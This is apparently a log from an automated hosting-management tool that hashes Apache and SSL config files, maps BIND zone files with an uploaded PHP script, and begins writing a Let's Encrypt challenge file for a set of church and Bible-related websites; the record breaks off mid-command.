MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= b0fd2c81d5635417a6258cb271cfd433
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 8dd7cc3fc4e74a2e03407fc9e9b68841
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= d09c2eafe64fc36968d098a0b3a77660
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 9c66a589c53c8a80e70c2326b3348a42
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 767dae78c2df4f568c9c6ace16907b6b
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf
STDERR:
/tmp/pkp314337:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-29 21:54:29: Establishing a connection
2025-12-29 21:54:29:
PUT: /tmp/pkp574122
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-29 21:54:29:
runuser -l bind -s /bin/bash -c '/tmp/pkp574122; rm /tmp/pkp574122'
2025-12-29 21:54:29:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-30 06:00:03: Establishing a connection
2025-12-30 06:00:03: Establishing a connection
2025-12-30 06:00:03:
PUT: /tmp/pkp132259
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-30 06:00:04:
chmod 755 /tmp/pkp132259; /tmp/pkp132259; rm /tmp/pkp132259
2025-12-30 06:00:04:
1
2025-12-30 06:00:05: Establishing a connection
2025-12-30 06:00:05:
PUT: /tmp/pkp915493
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > XbuufNK_5m_Y4eLVxZ__QsQnD1ArYCIX31DTojDxjq8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
